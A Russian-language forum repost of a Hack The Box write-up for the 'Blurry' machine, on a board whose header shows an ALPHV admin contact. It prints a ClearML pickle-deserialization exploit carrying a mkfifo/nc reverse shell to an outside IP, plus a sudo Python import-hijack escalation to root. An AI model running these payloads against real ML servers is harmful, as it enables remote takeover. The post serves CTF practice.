• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Атакуем сервер через уязвимость в ClearML

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,179
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Сегодня я покажу эксплуатацию свежего бага в платформе для управления нейросетями ClearML. Эта уязвимость позволит нам получить возможность удаленного выполнения команд на сервере. А затем заюзаем уязвимый импорт в программе на Python и повысим привилегии в Linux.

warning​

Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:


10.10.11.19 blurry.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:

Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Результат работы скрипта
Нашлось всего два открытых порта:

  • 22 — служба OpenSSH 8.4p1;
  • 80 — веб‑сервер Nginx 1.18.0.
В логах Nmap также видно, что с 80-го порта выполняется редирект на сайт Для просмотра ссылки Войди или Зарегистрируйся. Добавим новый поддомен в файл /etc/hosts и просмотрим сайт в браузере.

10.10.11.19 blurry.htb app.blurry.htb
Главная страница сайта app.blurry.htb
Главная страница сайта app.blurry.htb
Нас встречает сервис ClearML.


Точка входа​

ClearML — это фреймворк для трекинга ML-экспериментов, позволяющий отслеживать метрики машинного обучения, хранить и предоставлять по запросу модели, воспроизводить эксперименты и визуализировать результаты. Вводим любое имя и получаем доступ к панели ClearML.

Главная панель ClearML
Главная панель ClearML
Первым делом определяем версию фреймворка. Обычно ее можно найти на странице с настройками, в разделе описания или в профиле пользователя. В случае с ClearML подошел третий вариант.

Версия фреймворка
Версия фреймворка
Наша версия — 1.13. Проверим, есть ли для нее готовые эксплоиты.

Поиск эксплоитов в Google
Поиск эксплоитов в Google
Первая же Для просмотра ссылки Войди или Зарегистрируйся из Google выводит нас на Для просмотра ссылки Войди или Зарегистрируйся.


Точка опоры​

В ClearML используется пакет ClearML для Python, через который происходит взаимодействие с сервером по API. Этот пакет использует встроенный в Python модуль Pickle, отвечающий за сериализацию и десериализацию объектов. Атакующий может создать файл Pickle, содержащий произвольный код, и загрузить его в качестве артефакта в проект через API. Затем при вызове метода get класса Artifact файл .pkl будет десериализован, что приведет к выполнению заложенного кода.

Чтобы воспроизвести эту атаку, нам нужно настроить ClearML локально. Для этого сперва получим конфиг в меню Settings → Workspace → Create new credentials.

Страница Workspace
Страница Workspace
Конфиг для подключения
Конфиг для подключения
В конфиге есть новые поддомены, поэтому обновляем запись в файле /etc/hosts.

10.10.11.19 blurry.htb app.blurry.htb files.blurry.htb api.blurry.htb

Так как будем работать с ClearML на своей машине, сперва нужно установить необходимые пакеты.

pip install clearml

А теперь настроим ClearML. Для этого запустим clearml-init и при запросе учетных данных вставим весь полученный конфиг.

Код:
api {
    web_server: http://app.blurry.htb
    api_server: http://api.blurry.htb
    files_server: http://files.blurry.htb
    credentials {
        "access_key" = "9ZJL1UC8DOP3UJJRUJBM"
        "secret_key"  = "fLPHiGutlDvkULEQlo65XlP5azqSvVTlXW7yeKJGf4rjOzAEb4"
    }
}

Подключение к ClearML
Подключение к ClearML
Для эксплуатации уязвимости воспользуемся эксплоитом, который выполнит реверс‑шелл.

Код:
from clearml import Task
import pickle, os

class RunCommand:
   def reduce(self):
       return (os.system, ('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.73 4321 >/tmp/f',))

command = RunCommand()

task = Task.init(project_name='Black Swan', task_name='pickle_artifact_upload', tags=["review"])
task.upload_artifact(name='pickle_artifact', artifact_object=command, retries=2, wait_on_upload=True, extension_name=".pkl")

Запустим листенер:

rlwrap nc -nlvp 4321
И выполним код.

Эксплуатация уязвимости
Эксплуатация уязвимости
Страница проекта
Страница проекта
Однако код не выполняется. Нам нужно подгадать момент, когда пользователь начинает работать с проектом. Если запустить эксплоит в это время, он сработает и мы получим сессию на наш листенер.

Страница проекта
Страница проекта
Выполнение эксплоита и получение сессии
Выполнение эксплоита и получение сессии
У нас есть сессия пользователя jippity, и мы можем забрать первый флаг.

Флаг пользователя
Флаг пользователя

Локальное повышение привилегий​

Теперь нам необходимо собрать информацию. Я буду использовать для этого скрипты PEASS.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование. В выводе будет много информации, пройдемся по важным моментам.

У текущего пользователя сохранен приватный SSH-ключ /home/jippity/.ssh/id_rsa.

SSH-ключ пользователя
SSH-ключ пользователя

Для группы текущего пользователя доступна запись в каталог /models.

Каталоги, доступные для записи группе
Каталоги, доступные для записи группе

В sudoers есть запись, позволяющая запустить команду /usr/bin/evaluate_model /models/*.pth с высокими привилегиями без ввода пароля.

Справка: sudoers​

Файл /etc/sudoers в Linux содержит списки команд, которые разные группы пользователей могут выполнять от имени администратора системы. Можно просмотреть его как напрямую, так и при помощи команды sudo -l.
Настройки sudoers
Настройки sudoers

Сохраняем ключ SSH на свою машину, назначаем права chmod 0600 id_rsa и подключаемся по SSH. Так мы получим стабильную полноценную командную оболочку.

ssh -i id_rsa jippity@blurry.htb
Теперь разберемся с исполняемым файлом. Утилита file сообщает, что это обычный скрипт на Bash. Внутри скрипта выполняется /models/evaluate_model.py, которому передается файл Pickle.

Содержимое файла evaluate_model.py
Содержимое файла evaluate_model.py

В каталоге /models, куда мы имеем право записи, уже присутствует pickle-файл demo_model.pth, который можно будет использовать для теста.

Содержимое каталога /models
Содержимое каталога /models

Проанализируем сам скрипт evaluate_model.py. Сразу обратим внимание на первую строку — import torch. Если мы создадим в каталоге со скриптом файл torch.py, то он будет выполнен перед всем скриптом.

Содержимое файла evaluate_model.py
Содержимое файла evaluate_model.py

В файл torch.py запишем код, который будет запускать командную оболочку Bash. Так как у скрипта будут высокие привилегии, при запуске evaluate_model создастся шелл в контексте пользователя root.

Код:
echo 'import os; os.system("bash")' > /models/torch.py
sudo /usr/bin/evaluate_model /models/demo_model.pth
Флаг рута
Флаг рута

Машина захвачена!
 
Activity
So far there's no one here
Сверху Снизу